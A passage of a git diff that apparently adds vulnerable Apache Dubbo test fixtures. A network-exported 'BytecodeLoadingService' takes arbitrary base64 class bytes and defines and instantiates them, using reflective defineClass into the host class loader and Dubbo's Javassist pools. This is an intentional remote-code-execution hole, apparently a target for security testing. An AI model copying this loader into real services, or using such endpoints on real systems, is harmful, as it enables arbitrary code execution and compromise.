Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + + ServiceConfig demoService = new ServiceConfig(); + demoService.setApplication(application); + demoService.setRegistry(registry); + demoService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + demoService.setInterface(DemoService.class); + demoService.setRef(new DemoServiceImpl(providerName)); + demoService.export(); + + ServiceConfig loaderService = new ServiceConfig(); + loaderService.setApplication(application); + loaderService.setRegistry(registry); + loaderService.setProtocols(Arrays.asList(dubboProtocol, hessianProtocol, httpProtocol)); + loaderService.setInterface(BytecodeLoadingService.class); + loaderService.setRef(new BytecodeLoadingServiceImpl()); + loaderService.export(); + + System.out.println("=============================================="); + System.out.println(" " + providerName + " Provider started"); + System.out.println(" dubbo -> dubbo://127.0.0.1:" + dubboPort); + System.out.println(" hessian -> hessian://127.0.0.1:" + hessianPort); + System.out.println(" http -> http://127.0.0.1:" + httpPort); + System.out.println(" qos -> 127.0.0.1:" + qosPort); + System.out.println("=============================================="); + + new CountDownLatch(1).await(); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java new file mode 100644 index 00000000..a634dbdf --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/BytecodeLoadingService.java @@ -0,0 +1,5 @@ +package io.github.reajason.dubbo.fixture.api; + +public interface BytecodeLoadingService { + String loadBytes(String base64); +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/DemoService.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/DemoService.java new file mode 100644 index 00000000..7e3620f9 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/api/DemoService.java @@ -0,0 +1,5 @@ +package io.github.reajason.dubbo.fixture.api; + +public interface DemoService { + String sayHello(String name); +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingServiceImpl.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingServiceImpl.java new file mode 100644 index 00000000..bb0531f2 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingServiceImpl.java @@ -0,0 +1,11 @@ +package io.github.reajason.dubbo.fixture.common; + +import io.github.reajason.dubbo.fixture.api.BytecodeLoadingService; + +public class BytecodeLoadingServiceImpl implements BytecodeLoadingService { + + @Override + public String loadBytes(String base64) { + return BytecodeLoadingSupport.loadBase64(base64); + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingSupport.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingSupport.java new file mode 100644 index 00000000..75381e0b --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/BytecodeLoadingSupport.java @@ -0,0 +1,246 @@ +package io.github.reajason.dubbo.fixture.common; + +import java.io.ByteArrayInputStream; +import java.io.ByteArrayOutputStream; +import java.io.InputStream; +import java.lang.reflect.InvocationTargetException; +import java.lang.reflect.Method; +import java.security.ProtectionDomain; +import java.util.ArrayList; +import java.util.Base64; +import java.util.List; + +public final class BytecodeLoadingSupport { + + private BytecodeLoadingSupport() { + } + + public static String loadBase64(String base64) { + String normalized = normalizeBase64(base64); + byte[] bytes = Base64.getMimeDecoder().decode(normalized); + return loadClassBytes(bytes); + } + + public static String loadClassBytes(byte[] bytes) { + requireClassBytes(bytes); + try { + return new PayloadClassLoader(hostClassLoader()).defineAndInstantiate(bytes); + } catch (ReflectiveOperationException e) { + throw new IllegalStateException("failed to load bytecode payload", e); + } + } + + private static String normalizeBase64(String base64) { + if (base64 == null) { + throw new IllegalArgumentException("base64 must not be null"); + } + String trimmed = base64.trim(); + if (trimmed.isEmpty()) { + throw new IllegalArgumentException("base64 must not be blank"); + } + return trimmed; + } + + private static void requireClassBytes(byte[] bytes) { + if (bytes == null || bytes.length == 0) { + throw new IllegalArgumentException("class bytes must not be empty"); + } + } + + private static ClassLoader hostClassLoader() { + ClassLoader classLoader = BytecodeLoadingSupport.class.getClassLoader(); + if (classLoader == null) { + classLoader = Thread.currentThread().getContextClassLoader(); + } + return classLoader; + } + + public static Class defineIntoHostClassLoader(String className, byte[] bytes) { + if (className == null || className.trim().isEmpty()) { + throw new IllegalArgumentException("class name must not be blank"); + } + requireClassBytes(bytes); + + ClassLoader classLoader = hostClassLoader(); + Class loadedClass = findLoadedClass(className, classLoader); + if (loadedClass != null) { + return loadedClass; + } + + try { + return defineClass(className, bytes, classLoader); + } catch (LinkageError e) { + loadedClass = findLoadedClass(className, classLoader); + if (loadedClass != null) { + return loadedClass; + } + throw e; + } catch (ReflectiveOperationException e) { + throw new IllegalStateException("failed to define class in host class loader: " + className, e); + } + } + + public static void registerWithDubboClassPool(String className, byte[] bytes) { + if (className == null || className.trim().isEmpty() || bytes == null || bytes.length == 0) { + return; + } + + Class classPoolClass = null; + List classPools = new ArrayList(); + try { + classPoolClass = Class.forName("javassist.ClassPool", false, hostClassLoader()); + classPools.add(classPoolClass.getMethod("getDefault").invoke(null)); + classPools.addAll(dubboClassGeneratorPools()); + + for (Object classPool : classPools) { + if (classPoolContains(classPoolClass, classPool, className)) { + continue; + } + Method makeClass = classPoolClass.getMethod("makeClass", InputStream.class); + makeClass.invoke(classPool, new ByteArrayInputStream(bytes)); + } + } catch (ClassNotFoundException ignored) { + // Javassist is not present for all clients. + } catch (InvocationTargetException e) { + if (classPoolClass != null && anyClassPoolContains(classPoolClass, classPools, className)) { + return; + } + throw new IllegalStateException("failed to register class with Dubbo Javassist pool: " + className, e.getCause()); + } catch (ReflectiveOperationException e) { + throw new IllegalStateException("failed to register class with Dubbo Javassist pool: " + className, e); + } + } + + private static Class findLoadedClass(String className, ClassLoader classLoader) { + try { + return Class.forName(className, false, classLoader); + } catch (ClassNotFoundException e) { + return null; + } + } + + private static Class defineClass(String className, byte[] bytes, ClassLoader classLoader) + throws ReflectiveOperationException { + Method defineClass = ClassLoader.class.getDeclaredMethod( + "defineClass", + String.class, + byte[].class, + int.class, + int.class, + ProtectionDomain.class + ); + defineClass.setAccessible(true); + try { + return (Class) defineClass.invoke( + classLoader, + className, + bytes, + 0, + bytes.length, + BytecodeLoadingSupport.class.getProtectionDomain() + ); + } catch (InvocationTargetException e) { + Throwable cause = e.getCause(); + if (cause instanceof LinkageError) { + throw (LinkageError) cause; + } + if (cause instanceof RuntimeException) { + throw (RuntimeException) cause; + } + if (cause instanceof Error) { + throw (Error) cause; + } + throw e; + } + } + + private static List dubboClassGeneratorPools() { + List classPools = new ArrayList(); + List classLoaders = new ArrayList(); + addClassLoader(classLoaders, hostClassLoader()); + addClassLoader(classLoaders, Thread.currentThread().getContextClassLoader()); + + for (ClassLoader classLoader : classLoaders) { + addDubboClassGeneratorPool(classPools, "com.alibaba.dubbo.common.bytecode.ClassGenerator", classLoader); + addDubboClassGeneratorPool(classPools, "org.apache.dubbo.common.bytecode.ClassGenerator", classLoader); + } + return classPools; + } + + private static void addClassLoader(List classLoaders, ClassLoader classLoader) { + if (classLoader != null && !classLoaders.contains(classLoader)) { + classLoaders.add(classLoader); + } + } + + private static void addDubboClassGeneratorPool(List classPools, String className, ClassLoader classLoader) { + try { + Class classGeneratorClass = Class.forName(className, false, hostClassLoader()); + Method getClassPool = classGeneratorClass.getMethod("getClassPool", ClassLoader.class); + Object classPool = getClassPool.invoke(null, classLoader); + if (classPool != null && !classPools.contains(classPool)) { + classPools.add(classPool); + } + } catch (ClassNotFoundException ignored) { + // This runtime is using the other Dubbo namespace. + } catch (ReflectiveOperationException e) { + throw new IllegalStateException("failed to resolve Dubbo class pool from " + className, e); + } + } + + private static boolean anyClassPoolContains(Class classPoolClass, List classPools, String className) { + for (Object classPool : classPools) { + try { + if (classPoolContains(classPoolClass, classPool, className)) { + return true; + } + } catch (ReflectiveOperationException ignored) { + } + } + return false; + } + + private static boolean classPoolContains(Class classPoolClass, Object classPool, String className) + throws ReflectiveOperationException { + try { + Method getOrNull = classPoolClass.getMethod("getOrNull", String.class); + return getOrNull.invoke(classPool, className) != null; + } catch (NoSuchMethodException e) { + try { + Method get = classPoolClass.getMethod("get", String.class); + return get.invoke(classPool, className) != null; + } catch (InvocationTargetException invocationTargetException) { + Throwable cause = invocationTargetException.getCause(); + if (cause != null && "javassist.NotFoundException".equals(cause.getClass().getName())) { + return false; + } + throw invocationTargetException; + } + } catch (InvocationTargetException e) { + Throwable cause = e.getCause(); + if (cause != null && "javassist.NotFoundException".equals(cause.getClass().getName())) { + return false; + } + throw e; + } + } + + private static final class PayloadClassLoader extends ClassLoader { + + private PayloadClassLoader(ClassLoader parent) { + super(parent); + } + + private String defineAndInstantiate(byte[] bytes) throws ReflectiveOperationException { + Thread thread = Thread.currentThread(); + ClassLoader original = thread.getContextClassLoader(); + thread.setContextClassLoader(this); + try { + Object instance = defineClass(bytes, 0, bytes.length).newInstance(); + return String.valueOf(instance); + } finally { + thread.setContextClassLoader(original); + } + } + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/DemoServiceImpl.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/DemoServiceImpl.java new file mode 100644 index 00000000..e64c4214 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/DemoServiceImpl.java @@ -0,0 +1,17 @@ +package io.github.reajason.dubbo.fixture.common; + +import io.github.reajason.dubbo.fixture.api.DemoService; + +public class DemoServiceImpl implements DemoService { + + private final String providerName; + + public DemoServiceImpl(String providerName) { + this.providerName = providerName; + } + + @Override + public String sayHello(String name) { + return "Hello, " + name + " from " + providerName; + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/LoadBytesExportContext.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/LoadBytesExportContext.java new file mode 100644 index 00000000..944dc8e6 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/LoadBytesExportContext.java @@ -0,0 +1,31 @@ +package io.github.reajason.dubbo.fixture.common; + +import java.util.List; + +public final class LoadBytesExportContext { + + private static volatile Object application; + private static volatile Object registry; + private static volatile List protocols; + + private LoadBytesExportContext() { + } + + public static void register(Object applicationConfig, Object registryConfig, List protocolConfigs) { + application = applicationConfig; + registry = registryConfig; + protocols = protocolConfigs; + } + + public static Object application() { + return application; + } + + public static Object registry() { + return registry; + } + + public static List protocols() { + return protocols; + } +} diff --git a/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/Noop.java b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/Noop.java new file mode 100644 index 00000000..d50f0458 --- /dev/null +++ b/vul/vul-dubbo/src/dubboProviderCommon/java/io/github/reajason/dubbo/fixture/common/Noop.java @@ -0,0 +1,6 @@ +package io.github.reajason.dubbo.fixture.common; + +public final class Noop { + private Noop() { + } +}